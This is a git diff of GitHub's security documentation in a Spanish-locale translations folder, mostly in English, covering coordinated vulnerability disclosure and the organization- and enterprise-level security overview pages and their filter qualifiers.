/privately-reporting-a-security-vulnerability + - /managing-privately-reported-security-vulnerabilities +ms.openlocfilehash: 14efd02206d899ab62ad3b03a538f75088afaa18 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 10/27/2022 -ms.locfileid: '148114077' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158841' --- diff --git a/translations/es-ES/content/code-security/security-advisories/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities.md b/translations/es-ES/content/code-security/security-advisories/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities.md deleted file mode 100644 index 232bba53f6..0000000000 --- a/translations/es-ES/content/code-security/security-advisories/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities.md +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: About coordinated disclosure of security vulnerabilities -intro: Vulnerability disclosure is a coordinated effort between security reporters and repository maintainers. -redirect_from: - - /code-security/security-advisories/about-coordinated-disclosure-of-security-vulnerabilities - - /code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities -miniTocMaxHeadingLevel: 3 -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Security advisories - - Vulnerabilities -shortTitle: Coordinated disclosure ---- - -## About disclosing vulnerabilities in the industry - -{% data reusables.security-advisory.disclosing-vulnerabilities %} - -The initial report of a vulnerability is made privately, and the full details are only published once the maintainer has acknowledged the issue, and ideally made remediations or a patch available, sometimes with a delay to allow more time for the patches to be installed. For more information, see the "[OWASP Cheat Sheet Series about vulnerability disclosure](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html#commercial-and-open-source-software)" on the OWASP Cheat Sheet Series website. - -### Best practices for vulnerability reporters - -It's good practice to report vulnerabilities privately to maintainers. When possible, as a vulnerability reporter, we recommend you avoid: -- Disclosing the vulnerability publicly without giving maintainers a chance to remediate. -- Bypassing the maintainers. -- Disclosing the vulnerability before a fixed version of the code is available. -- Expecting to be compensated for reporting an issue, where no public bounty program exists. - -It's acceptable for vulnerability reporters to disclose a vulnerability publicly after a period of time, if they have tried to contact the maintainers and not received a response, or contacted them and been asked to wait too long to disclose it. - -We recommend vulnerability reporters clearly state the terms of their disclosure policy as part of their reporting process. Even if the vulnerability reporter does not adhere to a strict policy, it's a good idea to set clear expectations for maintainers in terms of timelines on intended vulnerability disclosures. For an example of disclosure policy, see the "[Security Lab's disclosure policy](https://securitylab.github.com/advisories#policy)" on the GitHub Security Lab website. - -### Best practices for maintainers - -As a maintainer, it's good practice to clearly indicate how and where you want to receive reports for vulnerabilities. If this information is not clearly available, vulnerability reporters don't know how to contact you, and may resort to extracting developer email addresses from git commit histories to try to find an appropriate security contact. This can lead to friction, lost reports, or the publication of unresolved reports. - -Maintainers should disclose vulnerabilities in a timely manner. If there is a security vulnerability in your repository, we recommend you: -- Treat the vulnerability as a security issue rather than a simple bug, both in your response and your disclosure. For example, you'll need to explicitly mention that the issue is a security vulnerability in the release notes. -- Acknowledge receipt of the vulnerability report as quickly as possible, even if no immediate resources are available for investigation. This sends the message that you are quick to respond and act, and it sets a positive tone for the rest of the interaction between you and the vulnerability reporter. -- Involve the vulnerability reporter when you verify the impact and veracity of the report. It's likely the vulnerability reporter has already spent time considering the vulnerability in a variety of scenarios, some of which you may have not considered yourself. -- Remediate the issue in a way that you see fit, taking any concerns and advice provided by the vulnerability reporter into careful consideration. Often the vulnerability reporter will have knowledge of certain corner cases and remediation bypasses that are easy to miss without a security research background. -- Always acknowledge the vulnerability reporter when you credit the discovery. -- Aim to publish a fix as soon as you can. -- Ensure that you make the wider ecosystem aware of the issue and its remediation when you disclose the vulnerability. It is not uncommon to see cases where a recognized security issue is fixed in the current development branch of a project, but the commit or subsequent release is not explicitly marked as a security fix or release. This can cause problems with downstream consumers. - -Publishing the details of a security vulnerability doesn't make maintainers look bad. Security vulnerabilities are present everywhere in software, and users will trust maintainers who have a clear and established process for disclosing security vulnerabilities in their code. - -## About reporting and disclosing vulnerabilities in projects on {% data variables.product.prodname_dotcom %} - -The process for reporting and disclosing vulnerabilities for projects on {% data variables.product.prodname_dotcom_the_website %} is as follows: - - If you are a vulnerability reporter (for example, a security researcher) who would like report a vulnerability, first check if there is a security policy for the related repository. For more information, see "[About security policies](/code-security/getting-started/adding-a-security-policy-to-your-repository#about-security-policies)." If there is one, follow it to understand the process before contacting the security team for that repository. - - If there isn't a security policy in place, the most efficient way to establish a private means of communication with maintainers is to create an issue asking for a preferred security contact. It's worth noting that the issue will be immediately publicly visible, so it should not include any information about the bug. Once communication is established, you can suggest the maintainers define a security policy for future use. - -{% note %} - -**Note**: _For npm only_ - If we receive a report of malware in an npm package, we try to contact you privately. If you don't address the issue in a timely manner, we will disclose it. For more information, see "[Reporting malware in an npm package](https://docs.npmjs.com/reporting-malware-in-an-npm-package)" on the npm Docs website. - -{% endnote %} - - If you've found a security vulnerability in {% data variables.product.prodname_dotcom_the_website %}, please report the vulnerability through our coordinated disclosure process. For more information, see the [{% data variables.product.prodname_dotcom %} Security Bug Bounty](https://bounty.github.com/) website. - - If you are a maintainer, you can take ownership of the process at the very beginning of the pipeline by setting up a security policy for your repository, or otherwise making security reporting instructions clearly available, for example in your project’s README file. For information about adding a security policy, see "[About security policies](/code-security/getting-started/adding-a-security-policy-to-your-repository#about-security-policies)." If there is no security policy, it's likely that a vulnerability reporter will try to email you or otherwise privately contact you. Alternatively, someone may open a (public) issue with details of a security issue. - - As a maintainer, to disclose a vulnerability in your code, you first create a draft security advisory in the package's repository in {% data variables.product.prodname_dotcom %}. {% data reusables.security-advisory.security-advisory-overview %} For more information, see "[About repository security advisories](/code-security/repository-security-advisories/about-github-security-advisories-for-repositories)." - - - To get started, see "[Creating a repository security advisory](/code-security/repository-security-advisories/creating-a-repository-security-advisory)." diff --git a/translations/es-ES/content/code-security/security-advisories/repository-security-advisories/about-repository-security-advisories.md b/translations/es-ES/content/code-security/security-advisories/repository-security-advisories/about-repository-security-advisories.md index 1b4bff9268..47e3e0921a 100644 --- a/translations/es-ES/content/code-security/security-advisories/repository-security-advisories/about-repository-security-advisories.md +++ b/translations/es-ES/content/code-security/security-advisories/repository-security-advisories/about-repository-security-advisories.md @@ -16,12 +16,12 @@ topics: - Security advisories - Vulnerabilities - CVEs -ms.openlocfilehash: a9f411a28812edadb810861a6b4d5239db1722a5 -ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.openlocfilehash: 562969ec29feda0901b79f8b6e2cb9cdb390ea56 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 10/27/2022 -ms.locfileid: '148114158' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158825' --- {% data reusables.repositories.security-advisory-admin-permissions %} @@ -29,7 +29,7 @@ ms.locfileid: '148114158' ## Acerca de las asesorías de seguridad de repositorio -{% data reusables.security-advisory.disclosing-vulnerabilities %} Para más información, vea "[Acerca de la divulgación coordinada de vulnerabilidades de seguridad](/code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities)". +{% data reusables.security-advisory.disclosing-vulnerabilities %} Para más información, vea "[Acerca de la divulgación coordinada de vulnerabilidades de seguridad](/code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities)". {% data reusables.security-advisory.security-advisory-overview %} diff --git a/translations/es-ES/content/code-security/security-advisories/repository-security-advisories/index.md b/translations/es-ES/content/code-security/security-advisories/repository-security-advisories/index.md index d9ba835751..79dcb4f79b 100644 --- a/translations/es-ES/content/code-security/security-advisories/repository-security-advisories/index.md +++ b/translations/es-ES/content/code-security/security-advisories/repository-security-advisories/index.md @@ -15,9 +15,9 @@ topics: - Repositories - CVEs children: - - /about-coordinated-disclosure-of-security-vulnerabilities - /about-repository-security-advisories - /permission-levels-for-repository-security-advisories + - /configuring-private-vulnerability-reporting-for-a-repository - /creating-a-repository-security-advisory - /editing-a-repository-security-advisory - /collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability @@ -25,11 +25,11 @@ children: - /adding-a-collaborator-to-a-repository-security-advisory - /removing-a-collaborator-from-a-repository-security-advisory - /withdrawing-a-repository-security-advisory -ms.openlocfilehash: 2584e75893b9e8ce97af843a61b8fae8e5fc9704 -ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.openlocfilehash: 81de06dcbe130eedcbf9dbd4dedb7e21dae5db79 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 10/27/2022 -ms.locfileid: '148114082' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159025' --- diff --git a/translations/es-ES/content/code-security/security-overview/about-the-security-overview.md b/translations/es-ES/content/code-security/security-overview/about-the-security-overview.md index c763b80753..cb5a9dc71b 100644 --- a/translations/es-ES/content/code-security/security-overview/about-the-security-overview.md +++ b/translations/es-ES/content/code-security/security-overview/about-the-security-overview.md @@ -1,10 +1,11 @@ --- -title: About the security overview -intro: 'You can view, filter, and sort security alerts for repositories owned by your organization or team in one place: the Security Overview page.' +title: About security overviews +intro: 'You can view, filter, and sort security alerts for repositories owned by your organization or team in the security overview pages.' permissions: '{% data reusables.security-overview.permissions %}' product: '{% data reusables.gated-features.security-overview %}' redirect_from: - /code-security/security-overview/exploring-security-alerts +allowTitleToDifferFromFilename: true versions: fpt: '*' ghae: '*' @@ -19,39 +20,83 @@ topics: - Dependencies - Organizations - Teams -shortTitle: About security overview +shortTitle: About security overviews --- {% ifversion ghes < 3.5 or ghae %} {% data reusables.security-overview.beta %} {% endif %} -## About the security overview +## About security overviews -{% ifversion ghes or ghec or ghae %}You{% elsif fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %}{% endif %} can use the security overview for a high-level view of the security status of {% ifversion ghes or ghec or ghae %}your {% elsif fpt %}their{% endif %} organization or to identify problematic repositories that require intervention. {% ifversion ghes or ghec or ghae %}You {% elsif fpt %}These organizations{% endif %} can view aggregate or repository-specific security information in the security overview. {% ifversion ghes or ghec or ghae %}You {% elsif fpt %} Organizations that use {% data variables.product.prodname_ghe_cloud %}{% endif %} can also use the security overview to see which security features are enabled for {% ifversion ghes or ghec or ghae %}your {% elsif fpt %}their {% endif %} repositories and to configure any available security features that are not currently in use. {% ifversion fpt %}For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/security-overview/about-the-security-overview).{% endif %} +Security overviews provide high-level summaries of the security status of an organization or enterprise and make it easy to identify problematic repositories that require intervention. You can also use the security overviews to see which repositories have enabled specific security features and to configure any available security features that are not currently in use. {% ifversion fpt %}For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/security-overview/about-the-security-overview).{% endif %} {% ifversion ghec or ghes or ghae %} -The security overview indicates whether {% ifversion fpt or ghes or ghec %}security{% endif %}{% ifversion ghae %}{% data variables.product.prodname_GH_advanced_security %}{% endif %} features are enabled for repositories owned by your organization and consolidates alerts for each feature.{% ifversion fpt or ghes or ghec %} Security features include {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}, as well as {% data variables.product.prodname_dependabot_alerts %}.{% endif %} For more information about {% data variables.product.prodname_GH_advanced_security %} features, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."{% ifversion fpt or ghes or ghec %} For more information about {% data variables.product.prodname_dependabot_alerts %}, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)."{% endif %} +Security overviews show which security features are enabled for repositories and consolidate alerts for each feature. -For more information about securing your code at the repository and organization levels, see "[Securing your repository](/code-security/getting-started/securing-your-repository)" and "[Securing your organization](/code-security/getting-started/securing-your-organization)." +- Risk and coverage information about {% data variables.product.prodname_dependabot %} features and alerts is shown for all repositories. +- Risk and coverage information for {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}, is shown only for enterprises that use {% data variables.product.prodname_GH_advanced_security %}. -The application security team at your company can use the security overview for both broad and specific analyses of your organization's security status. For example, they can use the overview page to monitor adoption of features by your organization or by a specific team as you rollout {% data variables.product.prodname_GH_advanced_security %} to your enterprise, or to review all alerts of a specific type and severity level across all repositories in your organization. +For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)" and "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)." -### About filtering and sorting alerts +## About filtering and sorting alerts -In the security overview, you can view, sort, and filter alerts to understand the security risks in your organization and in specific repositories. The security summary is highly interactive, allowing you to investigate specific categories of information, based on qualifiers like alert risk level, alert type, and feature enablement. You can also apply multiple filters to focus on narrower areas of interest. For example, you can identify private repositories that have a high number of {% data variables.product.prodname_dependabot_alerts %} or repositories that have no {% data variables.product.prodname_code_scanning %} alerts. For more information, see "[Filtering alerts in the security overview](/code-security/security-overview/filtering-alerts-in-the-security-overview)." - -{% ifversion security-overview-views %} - -In the security overview, there are dedicated views for each type of security alert, such as Dependabot, code scanning, and secret scanning alerts. You can use these views to limit your analysis to a specific set of alerts, and narrow the results further with a range of filters specific to each view. For example, in the secret scanning alert view, you can use the `Secret type` filter to view only secret scanning alerts for a specific secret, like a GitHub {% data variables.product.pat_generic %}. At the repository level, you can use the security overview to assess the specific repository's current security status, and configure any additional security features not yet in use on the repository. +Security overviews provide a powerful way to understand the security of a group of repositories. The views are interactive with filters that allow you to drill into the aggregated data and identify sources of high risk or low feature coverage. As you apply multiple filters to focus on narrower areas of interest, the data across the view changes to reflect your selection. For more information, see "[Filtering alerts in security overviews](/code-security/security-overview/filtering-alerts-in-the-security-overview)." +{% ifversion security-overview-alert-views %} +There are also dedicated views for each type of security alert that you can use to limit your analysis to a specific set of alerts, and then narrow the results further with a range of filters specific to each view. For example, in the {% data variables.product.prodname_secret_scanning %} alert view, you can use the `Secret type` filter to view only {% data variables.product.prodname_secret_scanning %} alerts for a specific secret, like a GitHub {% data variables.product.pat_generic %}. {% endif %} -![The security overview for an organization](/assets/images/help/organizations/security-overview.png) +{% note %} + +**Note:** Security overviews display active alerts raised by security features. If there are no alerts in the security overview for a repository, undetected security vulnerabilities or code errors may still exist. + +{% endnote %} + +## About organization-level security overviews + +{% data reusables.security-overview.beta-org-risk-coverage %} + +You can find the security overviews on the **Security** tab for any organization that's owned by an enterprise. Each overview shows aggregated data that you can drill down into, as you add each filter, the data is updated to reflect the repositories or alerts that you've selected. + +The application security team at your company can use the different security overviews for both broad and specific analyses of your organization's security status. {% ifversion security-overview-org-risk-coverage %}For example, the team can use the "Security Coverage" page to monitor the adoption of features across your organization or by a specific team as you rollout {% data variables.product.prodname_GH_advanced_security %}, or use the "Security Risk" page to identify repositories with more than five open {% data variables.product.prodname_secret_scanning %} alerts.{% else %}For example, they can use the overview page to monitor adoption of features by your organization or by a specific team as you rollout {% data variables.product.prodname_GH_advanced_security %} to your enterprise, or to review all alerts of a specific type and severity level across all repositories in your organization.{% endif %} + +Organization owners and security managers for organizations have access to security overviews for their organizations. {% ifversion ghec or ghes > 3.6 or ghae > 3.6 %}Organization members can also access organization-level security overviews to view results for repositories where they have admin privileges or have been granted access to security alerts. For more information on managing security alert access, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."{% endif %} + +{% ifversion security-overview-org-risk-coverage %} +### Security Risk view + +This view shows data about the repositories affected by different types of security alert. + +- Use the **Type** and **Teams** drop-downs to add repository type and team filters. +- Click **Open alerts** or **Repositories affected** to show only repositories with a specific type of security alert. + +In addition, when you click in the search box, a list of the full set of filters available is shown. + +![Screenshot of the Security Risk view for an organization](/assets/images/help/security-overview/security-risk-view.png) + +### Security Coverage view + +This view shows data about which repositories are using security features. + +- Use the **Type** and **Teams** drop-downs to add repository type and team filters. +- Click **Alerts enabled** and other features listed in the header to see only repositories with those features enabled. +- Change any `FEATURE:enabled` filter to `FEATURE:not-enabled` in the search box to see repositories that haven't enabled a feature. +- For any repository, click the ellipsis (**...**) then **Security Settings** to enable additional features. + +In addition, when you click in the search box, a list of the full set of filters available is shown. + +![Screenshot of the Security Coverage view for an organization](/assets/images/help/security-overview/security-coverage-view.png) + +{% else %} + +### Understanding the main security overview + +![Screenshot of the security overview for an organization](/assets/images/help/security-overview/security-overview-org-legacy.png) For each repository in the security overview, you will see icons for each type of security feature and how many alerts there are of each type. If a security feature is not enabled for a repository, the icon for that feature will be grayed out. In addition, a risk score is calculated for each repository based on its code scanning, Dependabot and secret scanning alerts. This score is in beta and should be used with caution. Its algorithm and approach is subject to change. -![Icons in the security overview](/assets/images/help/organizations/security-overview-icons.png) +![Icons in the security overview](/assets/images/help/security-overview/security-overview-icons.png) | Icon | Meaning | | -------- | -------- | @@ -61,29 +106,29 @@ For each repository in the security overview, you will see icons for each type o | {% octicon "check" aria-label="Check" %} | The security feature is enabled, but does not raise alerts in this repository. | | {% octicon "x" aria-label="x" %} | The security feature is not supported in this repository. | -The security overview displays active alerts raised by security features. If there are no alerts in the security overview for a repository, undetected security vulnerabilities or code errors may still exist. - -### About the organization-level security overview - -At the organization-level, the security overview displays aggregate and repository-specific security information for repositories owned by your organization. You can filter information by security features at the organization-level. - -Organization owners and security managers for organizations have access to the organization-level security overview. {% ifversion ghec or ghes > 3.6 or ghae > 3.6 %}Organization members can access the organization-level security overview to view results for repositories where they have admin privileges or have been granted access to security alerts. For more information on managing security alert access, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)".{% endif %} +{% endif %} {% ifversion ghec or ghes > 3.4 or ghae > 3.4 %} -### About the enterprise-level security overview -At the enterprise-level, the security overview displays aggregate and repository-specific security information for your enterprise. You can view repositories owned by your enterprise that have security alerts, view all security alerts, or security feature-specific alerts from across your enterprise. +## About enterprise-level security overviews -Organization owners and security managers for organizations in your enterprise have access to the enterprise-level security overview. They can view repositories and alerts for the organizations that they have full access to. +You can find the security overviews on the **Code Security** tab for your enterprise. Each overview displays aggregated and repository-specific security information for your enterprise. You can view repositories owned by your enterprise that have security alerts, view all security alerts, or security feature-specific alerts from across your enterprise. -Enterprise owners can only see alerts for organizations that they are an owner or a security manager of.{% ifversion ghec or ghes > 3.5 or ghae > 3.5 %} Enterprise owners can join an organization as an organization owner to see all of its alerts in the enterprise-level security overview. For more information, see "[Managing your role in an organization owned by your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise)."{% endif %} +Enterprise owners can view alerts for organizations that they are an owner or a security manager of.{% ifversion ghec or ghes > 3.5 or ghae > 3.5 %} Enterprise owners can join an organization as an organization owner to see all of its alerts in the enterprise-level security overview. For more information, see "[Managing your role in an organization owned by your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise)."{% endif %} -{% elsif fpt %} -### About the enterprise-level security overview -At the enterprise-level, the security overview displays aggregate and repository-specific information for an enterprise. For more information, see "[About the enterprise-level security overview](/enterprise-cloud@latest/code-security/security-overview/about-the-security-overview#about-the-enterprise-level-security-overview)" in the {% data variables.product.prodname_ghe_cloud %} documentation. +Organization owners and security managers for organizations in an enterprise have access to the enterprise-level security overview. They can view repositories and alerts for the organizations that they have full access to. {% endif %} {% ifversion ghes < 3.7 or ghae < 3.7 %} -### About the team-level security overview +## About team-level security overviews + +You can find the security overviews on the **Security** tab for any team in an organization that's owned by an enterprise. + At the team-level, the security overview displays repository-specific security information for repositories that the team has admin privileges for. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)." {% endif %} + +## Further reading + +- "[Securing your repository](/code-security/getting-started/securing-your-repository)" +- "[Securing your organization](/code-security/getting-started/securing-your-organization)" +- "[Introduction to adopting GitHub Advanced Security at scale](/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale)" {% endif %} diff --git a/translations/es-ES/content/code-security/security-overview/filtering-alerts-in-the-security-overview.md b/translations/es-ES/content/code-security/security-overview/filtering-alerts-in-the-security-overview.md index 14bb132945..ed8cf008dd 100644 --- a/translations/es-ES/content/code-security/security-overview/filtering-alerts-in-the-security-overview.md +++ b/translations/es-ES/content/code-security/security-overview/filtering-alerts-in-the-security-overview.md @@ -1,8 +1,9 @@ --- -title: Filtering alerts in the security overview +title: Filtering alerts in security overviews intro: Use filters to view specific categories of alerts permissions: '{% data reusables.security-overview.permissions %}' product: '{% data reusables.gated-features.security-overview %}' +allowTitleToDifferFromFilename: true versions: ghae: '*' ghes: '*' @@ -14,16 +15,16 @@ topics: - Alerts - Organizations - Teams -shortTitle: Filtering alerts +shortTitle: Filtering security overviews --- {% ifversion ghes < 3.5 or ghae %} {% data reusables.security-overview.beta %} {% endif %} -## About filtering the security overview +## About filtering security overviews -You can use filters in the security overview to narrow your focus based on a range of factors, like alert risk level, alert type and feature enablement. Different filters are available depending on the specific view and whether your analysis is at the organization, team or repository level. +You can use filters in a security overview to narrow your focus based on a range of factors, like alert risk level, alert type, and feature enablement. Different filters are available depending on the specific view{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %} and whether you are viewing data at the enterpise or organization level{% endif %}. {% ifversion security-overview-displayed-alerts %} {% note %} @@ -33,45 +34,56 @@ You can use filters in the security overview to narrow your focus based on a ran ## Filter by repository -Available in all organization-level and team-level views. - | Qualifier | Description | | -------- | -------- | -| `repo:REPOSITORY-NAME` | Displays alerts for the specified repository. | +| `repo:REPOSITORY-NAME` | Displays data for the specified repository. | ## Filter by whether security features are enabled -Available in the organization-level and team-level overview. +In the examples below, replace `:enabled` with `:not-enabled` to see repositories where security features are not enabled. These qualifiers are available in the main summary views. | Qualifier | Description | | -------- | -------- | -| `code-scanning:enabled` | Display repositories that have {% data variables.product.prodname_code_scanning %} enabled. | -| `code-scanning:not-enabled` | Display repositories that do not have {% data variables.product.prodname_code_scanning %} enabled. | -| `secret-scanning:enabled` | Display repositories that have {% data variables.product.prodname_secret_scanning %} enabled. | -| `secret-scanning:not-enabled` | Display repositories that have {% data variables.product.prodname_secret_scanning %} enabled. | -| `dependabot:enabled` | Display repositories that have {% data variables.product.prodname_dependabot_alerts %} enabled. | -| `dependabot:not-enabled` | Display repositories that do not have {% data variables.product.prodname_dependabot_alerts %} enabled. | -| `not-enabled:any` | Display repositories with at least one security feature that is not enabled. | +| `code-scanning:enabled` | Display repositories that have set up {% data variables.product.prodname_code_scanning %}. | +| `dependabot:enabled` | Display repositories that have enabled {% data variables.product.prodname_dependabot_alerts %}. | +| `secret-scanning:enabled` | Display repositories that have enabled {% data variables.product.prodname_secret_scanning %} alerts. {% ifversion security-overview-org-risk-coverage %} | +| `any-feature:enabled` | Display repositories where at least one security feature is enabled. |{% else %} +| `not-enabled:any` | Display repositories with at least one security feature that is not enabled. |{% endif %} + +{% ifversion security-overview-org-risk-coverage %} +The organization-level Security Coverage view includes extra filters. + +{% data reusables.security-overview.beta-org-risk-coverage %} + +| Qualifier | Description | +| -------- | -------- | +| `code-scanning-pull-request-alerts:enabled`| Display repositories that have configured {% data variables.product.prodname_code_scanning %} to run on pull requests. | +| `dependabot-security-updates:enabled` | Display repositories that have enabled {% data variables.product.prodname_dependabot %} security updates. | +| `secret-scanning-push-protection:enabled` | Display repositories that have set up push protection for {% data variables.product.prodname_secret_scanning %}. | +{% endif %} ## Filter by repository type -Available in the organization-level and team-level overview. +These qualifiers are available in the main summary views. | Qualifier | Description | | -------- | -------- | {%- ifversion ghes or ghec %} | `is:public` | Display public repositories. | {%- endif %} -{%- ifversion ghes or ghec or ghae %} | `is:internal` | Display internal repositories. | -{%- endif %} | `is:private` | Display private repositories. | | `archived:true` | Display archived repositories. | -| `archived:true` | Display archived repositories. | +| `archived:false` | Omit archived repositories. | +{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %} ## Filter by level of risk for repositories -The level of risk for a repository is determined by the number and severity of alerts from security features. If one or more security features are not enabled for a repository, the repository will have an unknown level of risk. If a repository has no risks that are detected by security features, the repository will have a clear level of risk. Available in the organization-level overview. +The level of risk for a repository is determined by the number and severity of alerts from security features. If one or more security features are not enabled for a repository, the repository will have an unknown level of risk. If a repository has no risks that are detected by security features, the repository will have a clear level of risk. + +{% ifversion security-overview-org-risk-coverage %} +These qualifiers are available in the enterprise-level view. +{% endif %} | Qualifier | Description | | -------- | -------- | @@ -80,10 +92,11 @@ The level of risk for a repository is determined by the number and severity of a | `risk:low` | Display repositories that are at low risk. | | `risk:unknown` | Display repositories that are at an unknown level of risk. | | `risk:clear` | Display repositories that have no detected level of risk. | +{% endif %} ## Filter by number of alerts -Available in the organization-level overview. +{% ifversion security-overview-org-risk-coverage %}These qualifiers are available in the enterprise-level Overview and in the organization-level Security Risk view.{% else %}These qualifiers are available in the main summary views.{% endif %} | Qualifier | Description | | -------- | -------- | @@ -94,7 +107,7 @@ Available in the organization-level overview. ## Filter by team -Available in the organization-level overview. +These qualifiers are available in the main summary views. | Qualifier | Description | | -------- | -------- | @@ -102,17 +115,17 @@ Available in the organization-level overview. ## Filter by topic -Available in the organization-level overview. +These qualifiers are available in the main summary views. | Qualifier | Description | | -------- | -------- | | topic:TOPIC-NAME | Displays repositories that are classified with *TOPIC-NAME*. | -{% ifversion security-overview-views %} +{% ifversion security-overview-alert-views %} -## Filter by severity +## Additional filters for {% data variables.product.prodname_code_scanning %} alert views -Available in the code scanning alert views. All code scanning alerts have one of the categories shown below. You can click any result to see full details of the relevant rule, and the line of code that triggered the alert. +All code scanning alerts have one of the categories shown below. You can click any result to see full details of the relevant query and the line of code that triggered the alert. | Qualifier | Description | | -------- | -------- | @@ -125,9 +138,9 @@ Available in the code scanning alert views. All code scanning alerts have one of |`severity:note`|Displays {% data variables.product.prodname_code_scanning %} alerts categorized as notes.| {% ifversion dependabot-alerts-vulnerable-calls %} -## Filter by {% data variables.product.prodname_dependabot %} alert type +## Additional filters for {% data variables.product.prodname_dependabot %} alert views -Available in the {% data variables.product.prodname_dependabot %} alert views. You can filter the view to show {% data variables.product.prodname_dependabot_alerts %} that are ready to fix or where additional information about exposure is available. You can click any result to see full details of the alert. +You can filter the view to show {% data variables.product.prodname_dependabot_alerts %} that are ready to fix or where additional information about exposure is available. You can click any result to see full details of the alert. | Qualifier | Description | | -------- | -------- | @@ -137,19 +150,13 @@ Available in the {% data variables.product.prodname_dependabot %} alert views. Y {% endif %} -## Filter by secret types - -Available in the secret scanning alert views. +## Additional filters for {% data variables.product.prodname_secret_scanning %} alert views | Qualifier | Description | | -------- | -------- | -| `secret-type:SERVICE_PROVIDER` | Displays alerts for the specified secret and provider. For more information, see "[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns)." | -| `secret-type:CUSTOM-PATTERN` | Displays alerts for secrets matching the specified custom pattern. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)." | +|`provider:PROVIDER_NAME` | Displays alerts for all secrets issues by the specified provider. | +| `secret-type:SERVICE_PROVIDER` | Displays alerts for the specified secret and provider. | +| `secret-type:CUSTOM-PATTERN` | Displays alerts for secrets matching the specified custom pattern. | -## Filter by provider +For more information, see "[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns)." -Available in the secret scanning alert views. - -| Qualifier | Description | -| -------- | -------- | -|`provider:PROVIDER_NAME` | Displays alerts for all secrets issues by the specified provider. For more information, see "[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns)." | diff --git a/translations/es-ES/content/code-security/security-overview/viewing-the-security-overview.md b/translations/es-ES/content/code-security/security-overview/viewing-the-security-overview.md index 899fcc3ea4..fec26aafc9 100644 --- a/translations/es-ES/content/code-security/security-overview/viewing-the-security-overview.md +++ b/translations/es-ES/content/code-security/security-overview/viewing-the-security-overview.md @@ -1,8 +1,9 @@ --- -title: Viewing the security overview +title: Viewing security overviews intro: Navigate to the different views available in the security overview permissions: '{% data reusables.security-overview.permissions %}' product: '{% data reusables.gated-features.security-overview %}' +allowTitleToDifferFromFilename: true versions: ghae: '>= 3.4' ghes: '*' @@ -14,7 +15,7 @@ topics: - Alerts - Organizations - Teams -shortTitle: View the security overview +shortTitle: View security overviews --- {% ifversion ghes < 3.5 or ghae %} @@ -23,48 +24,44 @@ shortTitle: View the security overview {% data reusables.security-overview.information-varies-GHAS %} -## Viewing the security overview for an organization +## Viewing the security overviews for an organization + +{% data reusables.security-overview.beta-org-risk-coverage %} + +{% ifversion security-overview-org-risk-coverage %} +{% data reusables.organizations.navigate-to-org %} +{% data reusables.organizations.security-overview %} +1. Choose the overview you want to display from the options in the sidebar. +1. Use the drop-down filters and search box to focus on the information of greatest interest. The "Security Risk" and "Security Coverage" views also have an interactive header that you can use to filter results. + + ![Screenshot of the Security Risk view with interactive header highlighted](/assets/images/help/security-overview/security-risk-interactive-header.png) + +{% else %} {% data reusables.organizations.navigate-to-org %} {% data reusables.organizations.security-overview %} 1. To view aggregate information about alert types, click **Show more**. - ![Show more button](/assets/images/help/organizations/security-overview-show-more-button.png) + 